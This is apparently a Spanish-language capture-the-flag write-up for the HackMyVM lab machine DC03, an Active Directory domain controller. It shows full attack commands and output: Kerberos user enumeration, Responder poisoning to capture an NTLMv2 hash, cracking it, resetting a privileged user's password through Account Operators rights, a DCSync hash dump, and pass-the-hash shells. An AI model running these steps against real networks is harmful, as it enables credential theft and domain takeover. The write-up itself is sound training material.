Table of Contents
Hack The Box: DC03 Writeup
Welcome to my detailed writeup of the medium difficulty machine “DC03” on HackMyVM. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 192.168.182.7 --ulimit 5000 -g
2192.168.182.7 -> [53,88,135,139,389,445,464,593,3268,5985,9389,49664,49668,49670,49683]
1$ nmap -p53,88,135,139,389,445,464,593,3268,5985,9389,49664,49668,49670,49683 -sCV 192.168.182.7 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 17:14 CEST
3Stats: 0:01:27 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
4NSE Timing: About 99.95% done; ETC: 17:16 (0:00:00 remaining)
5Nmap scan report for 192.168.182.7
6Host is up (0.00022s latency).
7
8PORT STATE SERVICE VERSION
953/tcp open domain Simple DNS Plus
1088/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-16 22:14:40Z)
11135/tcp open msrpc Microsoft Windows RPC
12139/tcp open netbios-ssn Microsoft Windows netbios-ssn
13389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
14445/tcp open microsoft-ds?
15464/tcp open kpasswd5?
16593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
173268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., Site: Default-First-Site-Name)
185985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
19|_http-server-header: Microsoft-HTTPAPI/2.0
20|_http-title: Not Found
219389/tcp open mc-nmf .NET Message Framing
2249664/tcp open msrpc Microsoft Windows RPC
2349668/tcp open msrpc Microsoft Windows RPC
2449670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
2549683/tcp open msrpc Microsoft Windows RPC
26MAC Address: 08:00:27:31:A7:F7 (Oracle VirtualBox virtual NIC)
27Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
28
29Host script results:
30| smb2-security-mode:
31| 3:1:1:
32|_ Message signing enabled and required
33| smb2-time:
34| date: 2024-10-16T22:15:28
35|_ start_date: N/A
36|_clock-skew: 6h59m57s
37|_nbstat: NetBIOS name: DC01, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:31:a7:f7 (Oracle VirtualBox virtual NIC)
38
39Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
40Nmap done: 1 IP address (1 host up) scanned in 95.15 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 192.168.182.7 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-16 17:16 CEST
3Nmap scan report for 192.168.182.7
4Host is up (0.00057s latency).
5Not shown: 1495 open|filtered udp ports (no-response)
6PORT STATE SERVICE
753/udp open domain
888/udp open kerberos-sec
9123/udp open ntp
10137/udp open netbios-ns
11389/udp open ldap
12MAC Address: 08:00:27:31:A7:F7 (Oracle VirtualBox virtual NIC)
13
14Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds
Del escaneo inicial encontramos el dominio soupedecode.local
, lo añadimos al /etc/hosts
SMB Enumeration
Ni con smbmap
ni con smbclient
podemos listar los recursos compartidos a nivel de red del DC.
1┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/scan]
2└──╼ [★]$ smbmap -H 192.168.182.7 -u 'null'
3[!] Authentication error on 192.168.182.7
4┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/scan]
5└──╼ [★]$ smbmap -H 192.168.182.7 -u ''
6[!] Authentication error on 192.168.182.7
1┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/scan]
2└──╼ [★]$ smbclient -L \\192.168.182.7 -U '' -N
3session setup failed: NT_STATUS_ACCESS_DENIED
4┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/scan]
5└──╼ [★]$ smbclient -L \\192.168.182.7 -U 'null' -N
6session setup failed: NT_STATUS_LOGON_FAILURE
Necesitaremos credenciales para ello.
Todavía no tengo el NS, como está NetBIOS expuesto, podemos con nbtscan
fácilmente recuperar los NS.
1$ nbtscan 192.168.182.7
2Doing NBT name scan for addresses from 192.168.182.7
3
4IP address NetBIOS Name Server User MAC address
5------------------------------------------------------------------------------
6192.168.182.7 DC01 <server> <unknown> 08:00:27:31:a7:f7
Añadimos DC01.soupedecode.local
al /etc/hosts
LDAP Enumeration
Parece ser que necesito autenticarme para poder hacer consultas LDAP.
1$ ldapsearch -x -H ldap://192.168.182.7 -D '' -w '' -b "DC=SOUPEDECODE,DC=LOCAL"
2# extended LDIF
3#
4# LDAPv3
5# base <DC=SOUPEDECODE,DC=LOCAL> with scope subtree
6# filter: (objectclass=*)
7# requesting: ALL
8#
9
10# search result
11search: 2
12result: 1 Operations error
13text: 000004DC: LdapErr: DSID-0C090A58, comment: In order to perform this opera
14 tion a successful bind must be completed on the connection., data 0, v4f7c
15
16# numResponses: 1
Sin embargo, podemos acceder al servidor LDAP como un usuario anónimo utilizando un nombre de dominio arbitrario, por alguna razón, esto funciona.
1$ ldapsearch -H ldap://DC01.soupedecode.local/ -x -s base -b '' "(objectClass=*)" "*" +
2"*" +
3# extended LDIF
4#
5# LDAPv3
6# base <> with scope baseObject
7# filter: (objectClass=*)
8# requesting: * +
9#
10
11#
12dn:
13domainFunctionality: 7
14forestFunctionality: 7
15domainControllerFunctionality: 7
16rootDomainNamingContext: DC=SOUPEDECODE,DC=LOCAL
17ldapServiceName: SOUPEDECODE.LOCAL:dc01$@SOUPEDECODE.LOCAL
18...
No encontramos nada interesante.
RPC Enumeration
Tampoco puedo enumerar nada a través de RPC ya que necesito credenciales válidas.
1┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/content]
2└──╼ [★]$ rpcclient -N -U "" 192.168.182.7
3Cannot connect to server. Error was NT_STATUS_ACCESS_DENIED
4┌─[192.168.182.5]─[pointedsec@parrot]─[~/Desktop/dc03/content]
5└──╼ [★]$ rpcclient -N -U "null" 192.168.182.7
6Cannot connect to server. Error was NT_STATUS_LOGON_FAILURE
Kerberos User Enumeration
En este punto, tampoco podía hacer mucho, así que decidí a intentar hacer fuerza bruta a usuarios usando el módulo userenum
de kerbrute
y encontré un usuario charlie
1$ /opt/kerbrute userenum -d soupedecode.local --dc 192.168.182.7 /opt/SecLists/Usernames/xato-net-10-million-usernames.txt
2
3 __ __ __
4 / /_____ _____/ /_ _______ __/ /____
5 / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
6 / ,< / __/ / / /_/ / / / /_/ / /_/ __/
7/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
8
9Version: v1.0.3 (9dad6e1) - 10/16/24 - Ronnie Flathers @ropnop
10
112024/10/16 17:38:54 > Using KDC(s):
122024/10/16 17:38:54 > 192.168.182.7:88
13
142024/10/16 17:38:54 > [+] VALID USERNAME: charlie@soupedecode.local
152024/10/16 17:38:55 > [+] VALID USERNAME: Charlie@soupedecode.local
162024/10/16 17:38:55 > [+] VALID USERNAME: administrator@soupedecode.local
172024/10/16 17:38:59 > [+] VALID USERNAME: Administrator@soupedecode.local
182024/10/16 17:38:59 > [+] VALID USERNAME: CHARLIE@soupedecode.local
Podemos comprobar si charlie
tiene el atributo DONT_REQUIRE_PREAUTH
pero no hay suerte.
1$ GetNPUsers.py -no-pass -dc-ip 192.168.182.7 -usersfile users.txt soupedecode.local/
2Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
3
4[-] User charlie doesn't have UF_DONT_REQUIRE_PREAUTH set
En este punto tampoco puedo hacer mucho con este usuario que no sea fuerza bruta para intentar conseguir credenciales.
Pero tampoco consigo las credenciales de charlie
mediante un ataque por diccionario.
1$ /opt/kerbrute bruteuser --dc 192.168.182.7 -d soupedecode.local /usr/share/wordlists/rockyou.txt "charlie"
LLMNR Spoofing
Con enum4linux-ng
podemos hacer un reconocimiento general por si nos hemos perdido algo y vemos que no se puede hacer un SMB Relay debido a que se requiere la firma por SMB.
1$ enum4linux-ng -A 192.168.182.7
2....
3 ==========================================
4| SMB Dialect Check on 192.168.182.7 |
5 ==========================================
6[*] Trying on 445/tcp
7[+] Supported dialects and settings:
8Supported dialects:
9 SMB 1.0: false
10 SMB 2.02: true
11 SMB 2.1: true
12 SMB 3.0: true
13 SMB 3.1.1: true
14Preferred dialect: SMB 3.0
15SMB1 only: false
16SMB signing required: true
17....
Leyendo sobre ataques de tipo spoofing a LLMNR, NBT-NS en HackTricks me di cuenta de una cosa.
Microsoft and other operating systems use LLMNR and NBT-NS for local name resolution when DNS fails. Similarly, Apple and Linux systems use mDNS.
Y en mi caso, al intentar enumerar con dig
el servidor DNS vemos que el servidor no nos responde.
1$ dig NS soupedecode.local @192.168.182.7
2;; communications error to 192.168.182.7#53: timed out
3
4; <<>> DiG 9.18.24-1-Debian <<>> NS soupedecode.local @192.168.182.7
5;; global options: +cmd
6;; Got answer:
7;; WARNING: .local is reserved for Multicast DNS
8;; You are currently testing what happens when an mDNS query is leaked to DNS
9;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 25112
10;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1
11
12;; OPT PSEUDOSECTION:
13; EDNS: version: 0, flags:; udp: 4000
14;; QUESTION SECTION:
15;soupedecode.local. IN NS
16
17;; Query time: 4703 msec
18;; SERVER: 192.168.182.7#53(192.168.182.7) (UDP)
19;; WHEN: Wed Oct 16 17:55:56 CEST 2024
20;; MSG SIZE rcvd: 46
Y lo mismo con dnsenum
.
Por lo cual significa que se están haciendo peticiones nbt-ns
por detrás, ya que recordemos que hemos visto que el puerto 137/UDP estaba abierto, correspondiente a netbios-ns
Por lo cual podemos hacer un LLMNR Spoofing para hacer un SMB Relay y capturar el hash NTLMv2 de algún usuario, todo esto con responder
1$ sudo responder -I ens33
2[*] [MDNS] Poisoned answer sent to 192.168.182.7 for name DC01.local
3[*] [MDNS] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name DC01.local
4[*] [MDNS] Poisoned answer sent to 192.168.182.7 for name DC01.local
5[*] [MDNS] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name DC01.local
6[*] [NBT-NS] Poisoned answer sent to 192.168.182.7 for name FILESERVER (service: File Server)
7[*] [LLMNR] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name FileServer
8[*] [MDNS] Poisoned answer sent to 192.168.182.7 for name FileServer.local
9[*] [MDNS] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name FileServer.local
10[*] [MDNS] Poisoned answer sent to 192.168.182.7 for name FileServer.local
11[*] [LLMNR] Poisoned answer sent to 192.168.182.7 for name FileServer
12[*] [MDNS] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name FileServer.local
13[*] [LLMNR] Poisoned answer sent to fe80::a4d4:79a7:3d89:b16c for name FileServer
14[*] [LLMNR] Poisoned answer sent to 192.168.182.7 for name FileServer
15[SMB] NTLMv2-SSP Client : fe80::a4d4:79a7:3d89:b16c
16[SMB] NTLMv2-SSP Username : soupedecode\xkate578
17[SMB] NTLMv2-SSP Hash : xkate578::soupedecode:5df2627e833a1b61:99D49EF167578E4AB8360B7BBE96BB8E:0101000000000000000B1340F51FDB019C516671C2F33C4D0000000002000800570037004C00570001001E00570049004E002D0053005A00330053004500550055003000330052004E0004003400570049004E002D0053005A00330053004500550055003000330052004E002E00570037004C0057002E004C004F00430041004C0003001400570037004C0057002E004C004F00430041004C0005001400570037004C0057002E004C004F00430041004C0007000800000B1340F51FDB010600040002000000080030003000000000000000000000000040000085E50685342F68FA0E763A9570F2EBD70313687CDA385C4F4D1854AE610D91730A0010000000000000000000000000000000000009001E0063006900660073002F00460069006C0065005300650072007600650072000000000000000000
Capturamos un hash para el usuario xkate578
, ahora con john
podemos intentar crackearlo.
1$ john -w=/usr/share/wordlists/rockyou.txt hash
2Using default input encoding: UTF-8
3Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
4Will run 4 OpenMP threads
5Press 'q' or Ctrl-C to abort, almost any other key for status
6jesuschrist (xkate578)
71g 0:00:00:00 DONE (2024-10-16 18:02) 16.66g/s 34133p/s 34133c/s 34133C/s 123456..lovers1
8Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
9Session completed.
Y tenemos credenciales.
xkate578:jesuschrist
Podemos comprobarlas con netexec
y vemos que son credenciales válidas.
1$ nxc smb 192.168.182.7 -u xkate578 -p jesuschrist
2SMB 192.168.182.7 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB 192.168.182.7 445 DC01 [+] SOUPEDECODE.LOCAL\xkate578:jesuschrist
Lamentablemente este usuario no pertenece al grupo Remote Management Users
por lo cual no podemos conseguir una consola interactiva por ahora.
1$ nxc winrm 192.168.182.7 -u xkate578 -p jesuschrist
2WINRM 192.168.182.7 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:SOUPEDECODE.LOCAL)
3WINRM 192.168.182.7 5985 DC01 [-] SOUPEDECODE.LOCAL\xkate578:jesuschrist
SMB Enumerating (authenticated)
Ahora con smbmap
vemos un recurso compartido a nivel de red llamado share
1$ smbmap -H 192.168.182.7 -u xkate578 -p jesuschrist
2[+] IP: 192.168.182.7:445 Name: DC01.soupedecode.local
3 Disk Permissions Comment
4 ---- ----------- -------
5 ADMIN$ NO ACCESS Remote Admin
6 C$ NO ACCESS Default share
7 IPC$ READ ONLY Remote IPC
8 NETLOGON READ ONLY Logon server share
9 share READ, WRITE
10 SYSVOL READ ONLY Logon server share
Vemos que está la flag de usuario, la podemos descargar.
1$ smbclient \\\\192.168.182.7\\share -U 'xkate578%jesuschrist'
2Try "help" to get a list of possible commands.
3smb: \> dir
4 . DR 0 Sat Oct 19 00:57:28 2024
5 .. D 0 Thu Aug 1 07:38:08 2024
6 desktop.ini AHS 282 Thu Aug 1 07:38:08 2024
7 user.txt A 70 Thu Aug 1 07:39:25 2024
8
9 12942591 blocks of size 4096. 10925858 blocks available
10smb: \> get user.txt
11getting file \user.txt of size 70 as user.txt (5,3 KiloBytes/sec) (average 5,3 KiloBytes/sec)
Podemos leerla.
1$ cat user.txt
212f54a96f64443246...
User Pivoting
Ahora que tenemos unas credenciales válidas, podemos enumerar el dominio de una forma mas cómoda, para ello vamos a utilizar bloodhound-python
1$ bloodhound-python -dc 192.168.182.7 -u xkate578 -p jesuschrist -c All -d soupedecode.local -ns 192.168.182.7 --dns-tcp
2...
3dns.resolver.LifetimeTimeout: The resolution lifetime expired after 3.105 seconds: Server 192.168.182.7 TCP port 53 answered The DNS operation timed out.
Vemos que nos da un error en la resolución del dominio, esto es normal porque el DNS está configurado para fallar para poder hacer el SMB Relay que hemos hecho antes, por lo cual vamos a usar ldapdomaindump
para conseguir mas información del dominio.
1$ ldapdomaindump --no-grep --no-json -u "soupedecode.local\xkate578" -p jesuschris
2t soupedecode.local
3[*] Connecting to host...
4[*] Binding to host
5[+] Bind OK
6[*] Starting domain dump
7[+] Domain dump finished
Para visualizar cómodamente estos archivos, podemos abrir un servidor HTTP con python por el puerto 8081.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
Ahora desde el navegador podemos acceder al localhost:8081
y ya podemos visualizar los archivos que queramos.
Nuestro usuario pertenece a dos grupos, Domain Users
y a un grupo mas interesante, Account Operators
Este grupo es interesante porque puede crear cuentas y grupos que no sean administradores del dominio.
The Account Operators group grants limited account creation privileges to a user. Members of this group can create and modify most types of accounts, including accounts for users, Local groups, and Global groups. Group members can log in locally to domain controllers.
Recomiendo leer este artículo ya que explica varias cosas interesantes, una de ellas es que a parte de crear podemos editar la mayoría de cuentas de usuarios pero no podemos gestionar las cuentas administradoras del dominio.
Pero nos podemos dar cuenta de una cosa, podríamos cambiar la contraseña de fbeth103
en principio, porque no pertenece al grupo Domain Admins, pertenece a un grupo llamado
Operators`.
Y si miramos un poco mejor..
Vemos que todos los usuarios del grupo Operators
tiene los privilegios de Domain Admins
, por lo cual podríamos convertirnos en administradores del dominio simplemente cambiando una contraseña.
Podríamos hacerlo a través de rpcclient
pero por alguna razón me dice que permiso denegado.
1$ rpcclient -U 'soupedecode.local\xkate578%jesuschrist' 192.168.182.7
2rpcclient $> setuserinfo fbeth103 23 Pointed123@
3result: NT_STATUS_ACCESS_DENIED
4result was NT_STATUS_ACCESS_DENIED
5rpcclient $> setuserinfo2 fbeth103 23 Pointed123@
6result: NT_STATUS_ACCESS_DENIED
7result was NT_STATUS_ACCESS_DENIED
Sin embargo si que puedo cambiar la contraseña de otros usuarios.
1rpcclient $> setuserinfo2 cleo503 23 Pointed123@
2rpcclient $>
Y funciona, pero esto no nos interesa, nos interesa conseguir la cuenta de fbeth103
1$ nxc smb 192.168.182.7 -u cleo503 -p 'Pointed123@'
2SMB 192.168.182.7 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB 192.168.182.7 445 DC01 [+] SOUPEDECODE.LOCAL\cleo503:Pointed123@
Como esto no tenía ningún tipo de sentido, borre y creé la máquina otra vez, ahora la máquina víctima pasa a tener la dirección IP 192.168.87.3
.
1$ rpcclient -U 'soupedecode.local\xkate578%jesuschrist' 192.168.87.3
2rpcclient $> setuserinfo fbeth103 23 Pointed123!
Ahora con netexec
podemos comprobarlo y me reporta Pwn3d!
1$ nxc smb 192.168.87.3 -u fbeth103 -p Pointed123!
2SMB 192.168.87.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB 192.168.87.3 445 DC01 [+] SOUPEDECODE.LOCAL\fbeth103:Pointed123! (Pwn3d!)
Privilege Escalation
Indirectamente somos administradores del dominio, pero al intentar utilizar evil-winrm
o psexec
no termina de realizar la conexión, así que vamos a hacer un DCSync para conseguir los hashes del usuario Administrator
y hacer Pass The Hash para poder conseguir una consola interactiva.
DSync
Esto lo podemos hacer con secretsdump.py
1$ secretsdump.py -dc-ip 192.168.87.3 'soupedecode.local/fbeth103:Pointed123!@dc01.soupedecode.local'
2Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
3
4[*] Target system bootKey: 0x0c7ad5e1334e081c4dfecd5d77cc2fc6
5[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
6Administrator:500:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
7Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
8DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
9........
10[*] Using the DRSUAPI method to get NTDS.DIT secrets
11Administrator:500:aad3b435b51404eeaad3b435b51404ee:2176416a80e4f62804f101d3a55d6c93:::
12Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
13krbtgt:502:aad3b435b51404eeaad3b435b51404ee:fb9d84e61e78c26063aced3bf9398ef0:::
14soupedecode.local\bmark0:1103:aad3b435b51404eeaad3b435b51404ee:d72c66e955a6dc0fe5e76d205a630b15:::
15soupedecode.local\otara1:1104:aad3b435b51404eeaad3b435b51404ee:ee98f16e3d56881411fbd2a67a5494c6:::
16soupedecode.local\kleo2:1105:aad3b435b51404eeaad3b435b51404ee:bda63615bc51724865a0cd0b4fd9ec14:::
17soupedecode.local\eyara3:1106:aad3b435b51404eeaad3b435b51404ee:68e34c259878fd6a31c85cbea32ac671:::
18soupedecode.local\pquinn4:1107:aad3b435b51404eeaad3b435b51404ee:92cdedd79a2fe7cbc8c55826b0ff2d54:::
Nos interesa el hash del archivo NTDS.DIT
ya que es donde se almacenan las credenciales en entornos de directorio activo, vemos el hash 2176416a80e4f62804f101d3a55d6c93
Podemos comprobarlo con netexec
y vemos que es válido.
1$ nxc smb 192.168.87.3 -u Administrator -H '2176416a80e4f62804f101d3a55d6c93'
2SMB 192.168.87.3 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SOUPEDECODE.LOCAL) (signing:True) (SMBv1:False)
3SMB 192.168.87.3 445 DC01 [+] SOUPEDECODE.LOCAL\Administrator:2176416a80e4f62804f101d3a55d6c93 (Pwn3d!)
Ahora simplemente con wmiexec
podemos conseguir una consola interactiva como Administrator
, con psexec
teóricamente también se puede pero por alguna razón no funciona, quizá tenga algo que ver el servicio DNS, y con evil-winrm
también se puede.
WMIEXEC
1$ wmiexec.py -dc-ip 192.168.87.3 -no-pass -hashes ':2176416a80e4f62804f101d3a55d6c93' 'soupedecode.local/Administrator@dc01.soupedecode.local'
2Impacket v0.12.0.dev1+20240819.165705.f98c9870 - Copyright 2023 Fortra
3
4[*] SMBv3.0 dialect used
5[!] Launching semi-interactive shell - Careful what you execute
6[!] Press help for extra shell commands
7C:\>whoami
8soupedecode\administrator
**EVIL-WINRM
1$ evil-winrm -i 192.168.87.3 -u Administrator -H 2176416a80e4f62804f101d3a55d6c93
2
3Evil-WinRM shell v3.5
4
5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
6
7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
8
9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
11soupedecode\administrator
Podemos leer la flag de root
1C:\Users\Administrator\Desktop>type root.txt
2b8e59a7d4020792c...
¡Y ya estaría!
Happy Hacking! 🚀
#HackMyVM #DC03 #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Windows #SMB Enumeration #NBT-NS Enumeration #LDAP Enumeration #RPC Enumeration #Abusing Kerberos #LLMNR Spoofing #SMB Relay #NTLMv2 Hash Cracking #Hash Cracking #Cracking #Abusing Account Operators #DCSync #Pass the Hash